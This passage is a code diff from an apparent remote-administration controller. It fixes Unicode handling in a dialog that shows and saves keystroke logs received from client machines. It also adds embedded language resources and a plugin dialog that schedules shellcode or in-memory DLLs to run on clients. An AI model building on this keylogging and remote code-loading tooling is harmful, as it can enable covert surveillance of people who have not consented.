// 调 SendMessageW(EM_REPLACESEL,...) 系统也会在 W->A 边界用 CP_ACP
// 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
// 后,控件内部以 Unicode 存储W 版消息直通,不再走 CP_ACP。
// -----------------------------------------------------------------
{
CRect rc;
m_edit.GetWindowRect(&rc);
ScreenToClient(&rc);
DWORD style = m_edit.GetStyle();
DWORD exStyle = m_edit.GetExStyle();
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
UINT ctrlID = m_edit.GetDlgCtrlID();
m_edit.DestroyWindow();
HWND hEdit = ::CreateWindowExW(
exStyle, L"EDIT", L"", style,
rc.left, rc.top, rc.Width(), rc.Height(),
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
AfxGetInstanceHandle(), NULL);
m_edit.Attach(hEdit);
if (hFont)
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
}
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
// 通知远程控制端对话框已经打开
@@ -110,9 +149,33 @@ void CKeyBoardDlg::AddKeyBoardData()
{
// 最后填上0
m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
int len = m_edit.GetWindowTextLength();
m_edit.SetSel(len, len);
m_edit.ReplaceSel((TCHAR *)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1));
const char* utf8 = (const char*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1);
if (!utf8 || !utf8[0])
return;
// 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
// 注意m_ContextObject 是键盘记录子连接,其自身 CAPABILITIES 为空;
// helper 内部通过 peer IP 查主连接获取真正的能力位。
UINT cp = GetClientEncoding(m_ContextObject);
int wlen = MultiByteToWideChar(cp, 0, utf8, -1, NULL, 0);
if (wlen <= 1)
return;
std::wstring wbuf(wlen - 1, L'\0');
MultiByteToWideChar(cp, 0, utf8, -1, &wbuf[0], wlen);
// 全程走 W 版消息直通 Unicode 控件。注意几个坑:
// 1) MFC 的 m_edit.SetSel(...) 默认走 ::SendMessage (A 版) 并紧跟一次
// EM_SCROLLCARET时序变成 "SetSel→ScrollCaret→ReplaceSel",即
// 先滚到旧末尾、再插入,部分场景控件状态会错乱(光标不在末尾、
// 用户手动移动光标后插入位置不对等)。
// 2) EM_SETSEL 用 0x7FFFFFFF 表示"末尾",由控件自行 clamp 到当前长度,
// 不依赖 WM_GETTEXTLENGTH 计算结果。
// 3) ReplaceSel 后再 ScrollCaret确保滚到 *新* 末尾。
HWND hEdit = m_edit.GetSafeHwnd();
if (!hEdit) return;
::SendMessageW(hEdit, EM_SETSEL, (WPARAM)0x7FFFFFFF, (LPARAM)0x7FFFFFFF);
::SendMessageW(hEdit, EM_REPLACESEL, FALSE, (LPARAM)wbuf.c_str());
::SendMessageW(hEdit, EM_SCROLLCARET, 0, 0);
}
bool CKeyBoardDlg::SaveRecord()
@@ -129,10 +192,30 @@ bool CKeyBoardDlg::SaveRecord()
MessageBox(msg, _TR("提示"), MB_ICONINFORMATION);
return false;
}
// Write the DIB header and the bits
CString strRecord;
m_edit.GetWindowText(strRecord);
file.Write(strRecord, strRecord.GetLength());
// m_edit 已是 Unicode 控件:用 W 版取宽字符串,转 UTF-8 写入并加 BOM。
// 这样保存的文件无视服务端 ACP记事本/VS Code 等都能自动识别。
int wlen = ::GetWindowTextLengthW(m_edit.GetSafeHwnd());
std::wstring wbuf;
if (wlen > 0) {
wbuf.resize(wlen);
::GetWindowTextW(m_edit.GetSafeHwnd(), &wbuf[0], wlen + 1);
}
// UTF-8 BOM
const BYTE bom[3] = { 0xEF, 0xBB, 0xBF };
file.Write(bom, 3);
if (!wbuf.empty()) {
int u8len = WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
NULL, 0, NULL, NULL);
if (u8len > 0) {
std::string u8(u8len, '\0');
WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
&u8[0], u8len, NULL, NULL);
file.Write(u8.data(), (UINT)u8.size());
}
}
file.Close();
return true;
@@ -156,7 +239,8 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
} else if (nID == IDM_CLEAR_RECORD) {
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
m_ContextObject->Send2Client(&bToken, 1);
m_edit.SetWindowText("");
// m_edit 是 Unicode 类控件,调 W 版避免 CP_ACP 边界转换
::SetWindowTextW(m_edit.GetSafeHwnd(), L"");
} else if (nID == IDM_SAVE_RECORD) {
SaveRecord();
} else {

View File

@@ -1,11 +1,13 @@
#pragma once
#include <map>
#include <set>
#include <string>
#include <vector>
#include <locale.h>
#include <afxwin.h>
#include "common/IniParser.h"
#include "resource.h" // 用于内嵌语言资源 ID
// 设置线程区域为简体中文
// 这样 MBCS 程序在非中文系统上创建对话框时,也能正确解码 RC 资源中的 GBK 中文
@@ -55,17 +57,20 @@ public:
} else {
m_langDir = langDir;
}
// 确保目录存在
CreateDirectory(m_langDir, NULL);
}
// 获取可用的语言列表
// 获取可用的语言列表(包括内嵌语言)
std::vector<CString> GetAvailableLanguages()
{
std::vector<CString> langs;
CString searchPath = m_langDir + _T("\\*.ini");
std::set<CString> langSet; // 用于去重
// 1. 添加内嵌语言(始终可用)
langSet.insert(_T("en_US"));
langSet.insert(_T("zh_TW"));
// 2. 扫描磁盘上的语言文件
CString searchPath = m_langDir + _T("\\*.ini");
WIN32_FIND_DATA fd;
HANDLE hFind = FindFirstFile(searchPath, &fd);
if (hFind != INVALID_HANDLE_VALUE) {
@@ -73,30 +78,43 @@ public:
CString filename(fd.cFileName);
int dotPos = filename.ReverseFind(_T('.'));
if (dotPos > 0) {
langs.push_back(filename.Left(dotPos));
langSet.insert(filename.Left(dotPos));
}
} while (FindNextFile(hFind, &fd));
FindClose(hFind);
}
// 转为 vector 返回
for (const auto& lang : langSet) {
langs.push_back(lang);
}
return langs;
}
// 检查语言文件编码是否为 ANSI
// 返回 false 表示文件不存在或编码不是 ANSI检测 BOM 和 UTF-8 无 BOM
// 返回 false 表示编码不是 ANSI检测 BOM 和 UTF-8 无 BOM
// 内嵌语言en_US, zh_TW直接返回 true
bool CheckEncoding(const CString& langCode)
{
// 中文模式无需检查
if (langCode == _T("zh_CN") || langCode.IsEmpty()) {
TRACE("[LangEnc] zh_CN or empty, skip check\n");
return true;
}
// 内嵌语言无需检查(已确保编码正确)
if (langCode == _T("en_US") || langCode == _T("zh_TW")) {
TRACE("[LangEnc] builtin language, skip check\n");
return true;
}
CString langFile = m_langDir + _T("\\") + langCode + _T(".ini");
TRACE("[LangEnc] Checking: %s\n", (LPCSTR)langFile);
FILE* f = nullptr;
if (fopen_s(&f, (LPCSTR)langFile, "rb") != 0 || !f) {
TRACE("[LangEnc] fopen failed\n");
return false;
return false; // 非内嵌语言必须有磁盘文件
}
// 读取文件内容(最多检测前 4KB 即可判断)
@@ -164,26 +182,103 @@ public:
}
// 加载语言文件
// 优先从内嵌资源加载,然后用磁盘文件覆盖(如果存在)
bool Load(const CString& langCode)
{
m_strings.clear();
m_currentLang = langCode;
// 如果是中文,不需要加载翻译
// 中文模式:检查是否有补丁文件
if (langCode == _T("zh_CN") || langCode.IsEmpty()) {
// 尝试加载中文补丁文件(可选)
CString patchFile = m_langDir + _T("\\zh_CN.ini");
if (GetFileAttributes(patchFile) != INVALID_FILE_ATTRIBUTES) {
CIniParser ini;
if (ini.LoadFile((LPCSTR)patchFile)) {
const CIniParser::TKeyVal* pSection = ini.GetSection("Strings");
if (pSection) {
for (const auto& kv : *pSection) {
m_strings[CString(kv.first.c_str())] = CString(kv.second.c_str());
}
}
TRACE("[Lang] Loaded zh_CN patch: %d strings\n", (int)m_strings.size());
}
}
return true;
}
CString langFile = m_langDir + _T("\\") + langCode + _T(".ini");
// 1. 先从内嵌资源加载(英语和繁体中文)
bool hasBuiltin = LoadFromResource(langCode);
// 检查文件是否存在
if (GetFileAttributes(langFile) == INVALID_FILE_ATTRIBUTES) {
// 2. 再从磁盘文件加载(覆盖内嵌翻译)
CString langFile = m_langDir + _T("\\") + langCode + _T(".ini");
if (GetFileAttributes(langFile) != INVALID_FILE_ATTRIBUTES) {
CIniParser ini;
// 如果有内嵌资源,使用追加模式覆盖;否则使用普通加载
if (hasBuiltin) {
// 追加模式:磁盘文件中的翻译会覆盖内嵌翻译
if (ini.LoadFile((LPCSTR)langFile)) {
const CIniParser::TKeyVal* pSection = ini.GetSection("Strings");
if (pSection) {
for (const auto& kv : *pSection) {
m_strings[CString(kv.first.c_str())] = CString(kv.second.c_str());
}
}
TRACE("[Lang] Loaded disk file (override): %s\n", (LPCSTR)langFile);
}
} else {
// 无内嵌资源,直接从磁盘加载
if (ini.LoadFile((LPCSTR)langFile)) {
const CIniParser::TKeyVal* pSection = ini.GetSection("Strings");
if (pSection) {
for (const auto& kv : *pSection) {
m_strings[CString(kv.first.c_str())] = CString(kv.second.c_str());
}
}
TRACE("[Lang] Loaded disk file: %s\n", (LPCSTR)langFile);
return true;
}
}
}
return hasBuiltin || !m_strings.empty();
}
// 从内嵌资源加载语言数据
bool LoadFromResource(const CString& langCode)
{
UINT resID = 0;
if (langCode == _T("en_US")) {
resID = IDR_LANG_EN_US;
} else if (langCode == _T("zh_TW")) {
resID = IDR_LANG_ZH_TW;
} else {
return false; // 无内嵌资源
}
HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(resID), RT_RCDATA);
if (!hRes) {
TRACE("[Lang] Resource not found: %d\n", resID);
return false;
}
// 使用 CIniParser 解析,无文件大小限制,且不 trim key
HGLOBAL hData = LoadResource(NULL, hRes);
if (!hData) {
TRACE("[Lang] Failed to load resource: %d\n", resID);
return false;
}
const char* data = (const char*)LockResource(hData);
DWORD size = SizeofResource(NULL, hRes);
if (!data || size == 0) {
TRACE("[Lang] Empty resource: %d\n", resID);
return false;
}
// 使用 CIniParser 从内存解析
CIniParser ini;
if (!ini.LoadFile((LPCSTR)langFile)) {
if (!ini.LoadFromMemory(data, size)) {
TRACE("[Lang] Failed to parse resource: %d\n", resID);
return false;
}
@@ -194,6 +289,8 @@ public:
}
}
TRACE("[Lang] Loaded builtin resource: %s (%d strings)\n",
(LPCSTR)langCode, (int)m_strings.size());
return true;
}
@@ -625,24 +722,24 @@ protected:
AppendData(&dlgTemplate, sizeof(DLGTEMPLATE));
AppendWord(0); // 菜单
AppendWord(0); // 窗口类
AppendString(_T("选择语言 / Select Language"));
AppendString(_T("Select Language"));
AlignToDword();
// 静态文本
AddControl(0x0082, 15, 15, 40, 12, (WORD)-1,
SS_LEFT | WS_CHILD | WS_VISIBLE, _T("语言:"));
AddControl(0x0082, 15, 15, 50, 12, (WORD)-1,
SS_LEFT | WS_CHILD | WS_VISIBLE, _T("Language:"));
// ComboBox
AddControl(0x0085, 55, 13, 130, 150, 1001,
AddControl(0x0085, 65, 13, 120, 150, 1001,
CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T(""));
// 确定按钮
// OK 按钮
AddControl(0x0080, 45, 50, 50, 14, IDOK,
BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("确定"));
BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("OK"));
// 取消按钮
// Cancel 按钮
AddControl(0x0080, 105, 50, 50, 14, IDCANCEL,
BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("取消"));
BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("Cancel"));
return (LPCDLGTEMPLATE)m_templateBuffer.data();
}
@@ -703,8 +800,8 @@ protected:
m_comboLang.SubclassDlgItem(1001, this);
// 添加简体中文
int idx = m_comboLang.AddString(_T("简体中文"));
// 添加简体中文(显示为英语避免乱码)
int idx = m_comboLang.AddString(GetLanguageDisplayName(_T("zh_CN")));
m_langCodes.push_back(_T("zh_CN"));
m_comboLang.SetItemData(idx, 0);

View File

@@ -0,0 +1,361 @@
#include "stdafx.h"
#include "PluginSettingsDlg.h"
#include "2015RemoteDlg.h"
#include "resource.h"
#include "jsoncpp/json.h"
#include <fstream>
#include <sstream>
#ifndef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
#endif
#endif
BEGIN_MESSAGE_MAP(CPluginSettingsDlg, CDialogLangEx)
ON_BN_CLICKED(IDC_BTN_SAVE, &CPluginSettingsDlg::OnBnClickedBtnSave)
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_PLUGINS, &CPluginSettingsDlg::OnLvnItemchangedListPlugins)
END_MESSAGE_MAP()
CPluginSettingsDlg::CPluginSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
: CDialogLangEx(IDD_DIALOG_PLUGIN_SETTINGS, pParent)
, m_DllList(dllList)
, m_nSelectedIndex(-1)
{
}
CPluginSettingsDlg::~CPluginSettingsDlg()
{
}
void CPluginSettingsDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogLangEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_LIST_PLUGINS, m_listPlugins);
DDX_Control(pDX, IDC_COMBO_RUNTYPE_P, m_comboRunType);
DDX_Control(pDX, IDC_COMBO_CALLTYPE, m_comboCallType);
DDX_Control(pDX, IDC_COMBO_MODE, m_comboMode);
DDX_Control(pDX, IDC_EDIT_INTERVAL, m_editInterval);
DDX_Control(pDX, IDC_EDIT_MAXCOUNT, m_editMaxCount);
}
BOOL CPluginSettingsDlg::OnInitDialog()
{
CDialogLangEx::OnInitDialog();
// 初始化列表控件
InitListCtrl();
// 初始化运行类型下拉框
m_comboRunType.InsertString(SHELLCODE, _TR("Shellcode"));
m_comboRunType.InsertString(MEMORYDLL, _TR("内存DLL"));
m_comboRunType.SetCurSel(MEMORYDLL);
// 初始化调用方式下拉框
m_comboCallType.InsertString(CALLTYPE_DEFAULT, _TR("自动检测"));
m_comboCallType.InsertString(CALLTYPE_IOCPTHREAD, _TR("IOCP线程"));
m_comboCallType.InsertString(CALLTYPE_FRPC_CALL, _TR("自定义FRPC[不可用]"));
m_comboCallType.InsertString(CALLTYPE_FRPC_STDCALL, _TR("标准FRPC[不可用]"));
m_comboCallType.SetCurSel(CALLTYPE_DEFAULT);
// 初始化调度模式下拉框
m_comboMode.InsertString(SCH_MODE_NONE, _TR("不自动执行"));
m_comboMode.InsertString(SCH_MODE_STARTUP, _TR("启动执行"));
m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时[未实现]"));
m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时[未实现]"));
m_comboMode.SetCurSel(SCH_MODE_NONE);
// 加载配置
m_Configs = LoadPluginConfigs();
// 加载插件列表
LoadPluginsToList();
return TRUE;
}
void CPluginSettingsDlg::InitListCtrl()
{
m_listPlugins.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
m_listPlugins.InsertColumn(0, _TR("名称"), LVCFMT_LEFT, 120);
m_listPlugins.InsertColumn(1, _TR("大小"), LVCFMT_RIGHT, 80);
m_listPlugins.InsertColumn(2, _TR("运行类型"), LVCFMT_LEFT, 80);
m_listPlugins.InsertColumn(3, _TR("调度模式"), LVCFMT_LEFT, 120);
m_listPlugins.InsertColumn(4, _TR("MD5"), LVCFMT_LEFT, 220);
GetDlgItem(IDC_STATIC_PLUGIN_SETTINGS)->SetWindowText(_TR("插件参数配置"));
GetDlgItem(IDC_STATIC_PLUGIN_RUNTYPE)->SetWindowText(_TR("运行类型:"));
GetDlgItem(IDC_STATIC_PLUGIN_CALLTYPE)->SetWindowText(_TR("调用方式:"));
GetDlgItem(IDC_STATIC_PLUGIN_SCHEDULE)->SetWindowText(_TR("调度模式:"));
GetDlgItem(IDC_STATIC_PLUGIN_INTERVAL)->SetWindowText(_TR("间隔(秒):"));
GetDlgItem(IDC_STATIC_PLUGIN_COUNTER)->SetWindowText(_TR("最大次数:"));
SetWindowText(_TR("插件设置"));
}
void CPluginSettingsDlg::LoadPluginsToList()
{
m_listPlugins.DeleteAllItems();
const char* runTypeNames[] = { "Shellcode", "内存DLL" };
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时" };
int index = 0;
for (const auto& dll : m_DllList) {
if (!dll || !dll->Data) continue;
// 获取 DllExecuteInfo
const char* buf = (char*)(dll->Data->Buf());
if (dll->Data->length() < 1 + sizeof(DllExecuteInfo)) continue;
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(buf + 1);
// 查找或创建配置
PluginConfig* cfg = FindConfig(dll->Name);
m_listPlugins.InsertItem(index, CString(dll->Name.c_str()));
CString sizeStr;
sizeStr.Format(_T("%d KB"), info->Size / 1024);
m_listPlugins.SetItemText(index, 1, sizeStr);
int runType = cfg ? cfg->RunType : info->RunType;
int mode = cfg ? cfg->Mode : info->Schedule.Mode;
m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < 2 ? runType : 0]));
m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < 4 ? mode : 0]));
m_listPlugins.SetItemText(index, 4, CString(info->Md5));
m_listPlugins.SetItemData(index, (DWORD_PTR)dll);
index++;
}
}
void CPluginSettingsDlg::OnLvnItemchangedListPlugins(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMLISTVIEW pNMLV = reinterpret_cast<LPNMLISTVIEW>(pNMHDR);
*pResult = 0;
if (pNMLV->uNewState & LVIS_SELECTED) {
m_nSelectedIndex = pNMLV->iItem;
UpdateSelectedPluginInfo();
}
}
void CPluginSettingsDlg::UpdateSelectedPluginInfo()
{
if (m_nSelectedIndex < 0) return;
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(m_nSelectedIndex));
if (!dll || !dll->Data) return;
const char* buf = (char*)(dll->Data->Buf());
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(buf + 1);
// 查找配置(如果有)
PluginConfig* cfg = FindConfig(dll->Name);
// 更新下拉框和编辑框
int runType = cfg ? cfg->RunType : info->RunType;
int callType = cfg ? cfg->CallType : info->CallType;
int mode = cfg ? cfg->Mode : info->Schedule.Mode;
unsigned int interval = cfg ? cfg->Interval : info->Schedule.Config.Startup.Interval;
unsigned char maxCount = cfg ? cfg->MaxCount : info->Schedule.MaxCount;
m_comboRunType.SetCurSel(runType < 2 ? runType : 0);
m_comboCallType.SetCurSel(callType < 4 ? callType : 0);
m_comboMode.SetCurSel(mode < 4 ? mode : 0);
CString str;
str.Format(_T("%u"), interval);
m_editInterval.SetWindowText(str);
str.Format(_T("%u"), maxCount);
m_editMaxCount.SetWindowText(str);
}
void CPluginSettingsDlg::OnBnClickedBtnSave()
{
if (m_nSelectedIndex < 0) {
MessageBoxL(_T("请先选择一个插件"), _T("提示"), MB_ICONINFORMATION);
return;
}
SaveCurrentPluginConfig();
SavePluginConfigs(m_Configs);
// 刷新列表显示
LoadPluginsToList();
// 重新选中
m_listPlugins.SetItemState(m_nSelectedIndex, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED);
MessageBoxL(_T("配置已保存"), _T("提示"), MB_ICONINFORMATION);
}
void CPluginSettingsDlg::SaveCurrentPluginConfig()
{
if (m_nSelectedIndex < 0) return;
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(m_nSelectedIndex));
if (!dll || !dll->Data) return;
const char* buf = (char*)dll->Data->Buf();
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(buf + 1);
// 查找或创建配置
PluginConfig* cfg = FindConfig(dll->Name);
if (!cfg) {
PluginConfig newCfg;
newCfg.Name = dll->Name;
m_Configs.push_back(newCfg);
cfg = &m_Configs.back();
}
cfg->Md5 = info->Md5;
cfg->RunType = m_comboRunType.GetCurSel();
cfg->CallType = m_comboCallType.GetCurSel();
cfg->Mode = (unsigned char)m_comboMode.GetCurSel();
CString str;
m_editInterval.GetWindowText(str);
cfg->Interval = _ttoi(str);
m_editMaxCount.GetWindowText(str);
cfg->MaxCount = (unsigned char)_ttoi(str);
// 更新 DllInfo 中的 Buffer修改 DllExecuteInfo
DllExecuteInfo* infoMut = const_cast<DllExecuteInfo*>(info);
infoMut->RunType = cfg->RunType;
infoMut->CallType = cfg->CallType;
infoMut->Schedule.Mode = cfg->Mode;
infoMut->Schedule.Config.Startup.Interval = cfg->Interval;
infoMut->Schedule.MaxCount = cfg->MaxCount;
}
PluginConfig* CPluginSettingsDlg::FindConfig(const std::string& name)
{
for (auto& cfg : m_Configs) {
if (cfg.Name == name) {
return &cfg;
}
}
return nullptr;
}
std::string CPluginSettingsDlg::GetPluginConfigPath()
{
std::string dbPath = GetDbPath();
// 获取目录部分
size_t pos = dbPath.find_last_of("\\/");
std::string dir = (pos != std::string::npos) ? dbPath.substr(0, pos + 1) : "";
return dir + "plugins.json";
}
std::vector<PluginConfig> CPluginSettingsDlg::LoadPluginConfigs()
{
std::vector<PluginConfig> configs;
std::string path = GetPluginConfigPath();
std::ifstream file(path);
if (!file.is_open()) {
return configs;
}
Json::Value root;
Json::CharReaderBuilder builder;
std::string errors;
if (!Json::parseFromStream(builder, file, &root, &errors)) {
return configs;
}
if (!root.isArray()) {
return configs;
}
for (const auto& item : root) {
PluginConfig cfg;
cfg.Name = item.get("name", "").asString();
cfg.Md5 = item.get("md5", "").asString();
cfg.RunType = item.get("runType", MEMORYDLL).asInt();
cfg.CallType = item.get("callType", CALLTYPE_IOCPTHREAD).asInt();
cfg.Mode = (unsigned char)item.get("mode", SCH_MODE_NONE).asInt();
cfg.Flags = (unsigned char)item.get("flags", 0).asInt();
cfg.Interval = item.get("interval", 0).asUInt();
cfg.MaxCount = (unsigned char)item.get("maxCount", 0).asInt();
if (!cfg.Name.empty()) {
configs.push_back(cfg);
}
}
return configs;
}
void CPluginSettingsDlg::SavePluginConfigs(const std::vector<PluginConfig>& configs)
{
std::string path = GetPluginConfigPath();
Json::Value root(Json::arrayValue);
for (const auto& cfg : configs) {
Json::Value item;
item["name"] = cfg.Name;
item["md5"] = cfg.Md5;
item["runType"] = cfg.RunType;
item["callType"] = cfg.CallType;
item["mode"] = cfg.Mode;
item["flags"] = cfg.Flags;
item["interval"] = cfg.Interval;
item["maxCount"] = cfg.MaxCount;
root.append(item);
}
std::ofstream file(path);
if (file.is_open()) {
Json::StreamWriterBuilder builder;
builder["indentation"] = " ";
std::unique_ptr<Json::StreamWriter> writer(builder.newStreamWriter());
writer->write(root, &file);
}
}
void CPluginSettingsDlg::PatchDllList(std::vector<DllInfo*>& dllList)
{
std::vector<PluginConfig> configs = LoadPluginConfigs();
for (auto& dll : dllList) {
if (!dll || !dll->Data) continue;
// 查找对应的配置
PluginConfig* cfg = nullptr;
for (auto& c : configs) {
if (c.Name == dll->Name) {
cfg = &c;
break;
}
}
if (!cfg) continue;
// 更新 DllExecuteInfo
char* buf = (char*)dll->Data->Buf();
if (dll->Data->length() < 1 + sizeof(DllExecuteInfo)) continue;
DllExecuteInfo* info = reinterpret_cast<DllExecuteInfo*>(buf + 1);
info->RunType = cfg->RunType;
info->CallType = cfg->CallType;
info->Schedule.Mode = cfg->Mode;
info->Schedule.Flags = cfg->Flags;
info->Schedule.Config.Startup.Interval = cfg->Interval;
info->Schedule.MaxCount = cfg->MaxCount;
}
}

View File

@@ -0,0 +1,73 @@
#pragma once
#include "resource.h"
#include "LangManager.h"
#include "common/commands.h"
#include "common/scheduler.h"
#include <vector>
#include <string>
// 前向声明
struct DllInfo;
// 插件配置结构体(用于 JSON 存储)
struct PluginConfig {
std::string Name; // 插件名称(作为唯一标识)
std::string Md5; // MD5
int RunType; // 运行类型
int CallType; // 调用方式
unsigned char Mode; // 调度模式
unsigned char Flags; // 标志位
unsigned int Interval; // 间隔(秒)
unsigned char MaxCount; // 最大次数
PluginConfig() : RunType(MEMORYDLL), CallType(CALLTYPE_IOCPTHREAD), Mode(SCH_MODE_NONE), Flags(0), Interval(0), MaxCount(0) {}
};
// 插件设置对话框
class CPluginSettingsDlg : public CDialogLangEx
{
public:
CPluginSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent = nullptr);
virtual ~CPluginSettingsDlg();
enum { IDD = IDD_DIALOG_PLUGIN_SETTINGS };
// 静态方法:加载插件配置
static std::vector<PluginConfig> LoadPluginConfigs();
// 静态方法:保存插件配置
static void SavePluginConfigs(const std::vector<PluginConfig>& configs);
// 静态方法:获取配置文件路径
static std::string GetPluginConfigPath();
// 静态方法:根据配置更新 DllInfoPatch
static void PatchDllList(std::vector<DllInfo*>& dllList);
protected:
virtual void DoDataExchange(CDataExchange* pDX);
virtual BOOL OnInitDialog();
DECLARE_MESSAGE_MAP()
afx_msg void OnBnClickedBtnSave();
afx_msg void OnLvnItemchangedListPlugins(NMHDR* pNMHDR, LRESULT* pResult);
private:
void InitListCtrl();
void LoadPluginsToList();
void UpdateSelectedPluginInfo();
void SaveCurrentPluginConfig();
PluginConfig* FindConfig(const std::string& name);
private:
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
std::vector<PluginConfig> m_Configs; // 插件配置列表
int m_nSelectedIndex; // 当前选中的列表项索引
// 控件变量
CListCtrl m_listPlugins;
CComboBox m_comboRunType;
CComboBox m_comboCallType;
CComboBox m_comboMode;
CEdit m_editInterval;
CEdit m_editMaxCount;
};

View File

@@ -0,0 +1,243 @@
// PreviewTipWnd.cpp
#include "stdafx.h"
#include "PreviewTipWnd.h"
#include <objidl.h> // IUnknown / IStream — gdiplus.h 依赖它们已声明
#include <gdiplus.h>
#pragma comment(lib, "gdiplus.lib")
using namespace Gdiplus;
namespace {
constexpr int PADDING = 8;
constexpr int IMAGE_TEXT_GAP = 6; // 图像与下方文本之间的留白
constexpr int MIN_TEXT_W = 360;
constexpr int MAX_TEXT_W = 720; // 文本可换行宽度上限(垂直布局,宽度不再受图像挤压)
constexpr int MAX_IMAGE_W = 960; // 显示上限(防止 LAN 档 1280 的 JPEG 把窗口顶到屏幕外)
constexpr int LOADING_W = 480; // 占位的最小宽度(图像未到达时)
constexpr int LOADING_H = 270;
} // namespace
BEGIN_MESSAGE_MAP(CPreviewTipWnd, CWnd)
ON_WM_PAINT()
ON_WM_ERASEBKGND()
END_MESSAGE_MAP()
CPreviewTipWnd::CPreviewTipWnd() = default;
CPreviewTipWnd::~CPreviewTipWnd()
{
// m_image 通过 unique_ptr 自动释放
}
BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW)
{
m_text = text;
m_imageReserveW = imageReserveW > 0 ? min(imageReserveW, MAX_IMAGE_W) : 0;
m_imageReserveH = m_imageReserveW > 0 ? (m_imageReserveW * 9 / 16) : 0;
if (m_imageReserveW > 0 && m_imageReserveW < LOADING_W) {
m_imageReserveW = LOADING_W;
m_imageReserveH = LOADING_H;
}
// 创建字体(项目是 MBCS但浮窗用宽字符显式 LOGFONTW + W 版 API 避免编码混淆)
LOGFONTW lf = {};
HFONT hSysFont = (HFONT)::GetStockObject(DEFAULT_GUI_FONT);
if (hSysFont && ::GetObjectW(hSysFont, sizeof(lf), &lf) == 0) {
hSysFont = nullptr;
}
if (!hSysFont) {
lf.lfHeight = -12;
wcscpy_s(lf.lfFaceName, L"Microsoft YaHei");
}
HFONT hF = ::CreateFontIndirectW(&lf);
if (hF) m_font.Attach(hF);
// 注册自绘窗口类:用 MFC 的 AfxRegisterWndClass 确保和 MFC 子类化机制兼容
LPCTSTR kClass = AfxRegisterWndClass(
CS_SAVEBITS,
::LoadCursor(NULL, IDC_ARROW),
(HBRUSH)(COLOR_INFOBK + 1),
NULL);
// 临时尺寸RecalcLayoutAndResize 会在创建后调整
CRect rc(anchor.x, anchor.y, anchor.x + 400, anchor.y + 200);
BOOL bOk = CWnd::CreateEx(
WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,
kClass, _T(""),
WS_POPUP | WS_BORDER,
rc, pParent, 0);
if (!bOk) return FALSE;
RecalcLayoutAndResize();
ShowWindow(SW_SHOWNOACTIVATE);
return TRUE;
}
void CPreviewTipWnd::SetImageFromJpeg(const BYTE* data, size_t bytes)
{
if (!data || bytes == 0) return;
HGLOBAL hMem = ::GlobalAlloc(GMEM_MOVEABLE, bytes);
if (!hMem) return;
void* p = ::GlobalLock(hMem);
if (!p) { ::GlobalFree(hMem); return; }
memcpy(p, data, bytes);
::GlobalUnlock(hMem);
IStream* stream = nullptr;
if (FAILED(::CreateStreamOnHGlobal(hMem, TRUE, &stream))) {
::GlobalFree(hMem);
return;
}
std::unique_ptr<Bitmap> bmp(new Bitmap(stream, FALSE));
stream->Release(); // CreateStreamOnHGlobal(..., TRUE) 释放 stream 时会释放 hMem
if (!bmp || bmp->GetLastStatus() != Ok) {
return;
}
m_image = std::move(bmp);
m_hasImage = true;
m_unavailable = false;
RecalcLayoutAndResize();
if (GetSafeHwnd()) Invalidate();
}
void CPreviewTipWnd::MarkPreviewUnavailable()
{
if (m_hasImage) return; // 已经有图就不再覆盖
m_unavailable = true;
if (GetSafeHwnd()) Invalidate();
}
void CPreviewTipWnd::RecalcLayoutAndResize()
{
HWND hWnd = GetSafeHwnd();
if (!hWnd) return;
// 估算图像尺寸(先算图像,因为文本宽度要参考图像宽度对齐)
if (m_image) {
int iw = (int)m_image->GetWidth();
int ih = (int)m_image->GetHeight();
if (iw > MAX_IMAGE_W) {
